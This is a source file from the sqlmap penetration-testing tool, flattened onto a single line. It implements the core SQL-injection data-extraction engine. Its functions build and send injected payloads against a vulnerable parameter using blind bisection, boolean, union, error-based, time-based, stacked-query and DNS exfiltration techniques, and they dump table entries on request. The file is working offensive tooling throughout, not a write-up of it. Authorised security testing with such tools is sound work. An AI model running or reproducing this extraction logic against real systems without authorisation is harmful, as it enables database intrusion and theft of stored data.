#!/usr/bin/env python """ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue from lib.core.common import getPublicTypeMembers from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapUserQuitException from lib.core.settings import FROM_DUMMY_TABLE from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse def __goDns(payload, expression): value = None if conf.dnsName and kb.dnsTest is not False: if kb.dnsTest is None: dnsTest(payload) if kb.dnsTest: value = dnsUse(payload, expression) return value def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False): start = time.time() value = None count = 0 value = __goDns(payload, expression) if value: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: length = queryOutputLength(expression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump) if isinstance(num, int): expression = origExpr outputs.append(output) return outputs def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(kb.technique) query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() test = None untilLimitChar = None untilOrderChar = None if not unpack: return __goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False else: limitCond = True # We assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False else: test = True if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] if not stopLimit: count = __goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): raise sqlmapUserQuitException elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "how many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: for num in xrange(startLimit, stopLimit): output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except KeyboardInterrupt: print warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None def __goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(kb.technique) vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output def __goInband(expression, unpack=True, dump=False): """ Retrieve the output of a SQL query taking advantage of an inband SQL injection vulnerability on the affected parameter. """ output = unionUse(expression, unpack=unpack, dump=dump) if isinstance(output, basestring): output = parseUnionPage(output) return output def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = expression[len("SELECT "):] else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not 'COUNT(*)' in query: query = query.replace("DISTINCT ", "") if not conf.forceDns: if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = __goInband(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E":PAYLOAD.TECHNIQUE.ERROR, "U":PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) if value and isinstance(value, basestring): value = value.strip() else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise sqlmapNotVulnerableException, errMsg finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' and/or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected) def goStacked(expression, silent=False): kb.technique = PAYLOAD.TECHNIQUE.STACKED expression = cleanQuery(expression) if conf.direct: return direct(expression) comment = queries[Backend.getIdentifiedDbms()].comment.query query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery("%s;%s" % (query, comment)) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True) def checkBooleanExpression(expression, expectingNone=True): return getValue(unescaper.unescape(expression), expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone)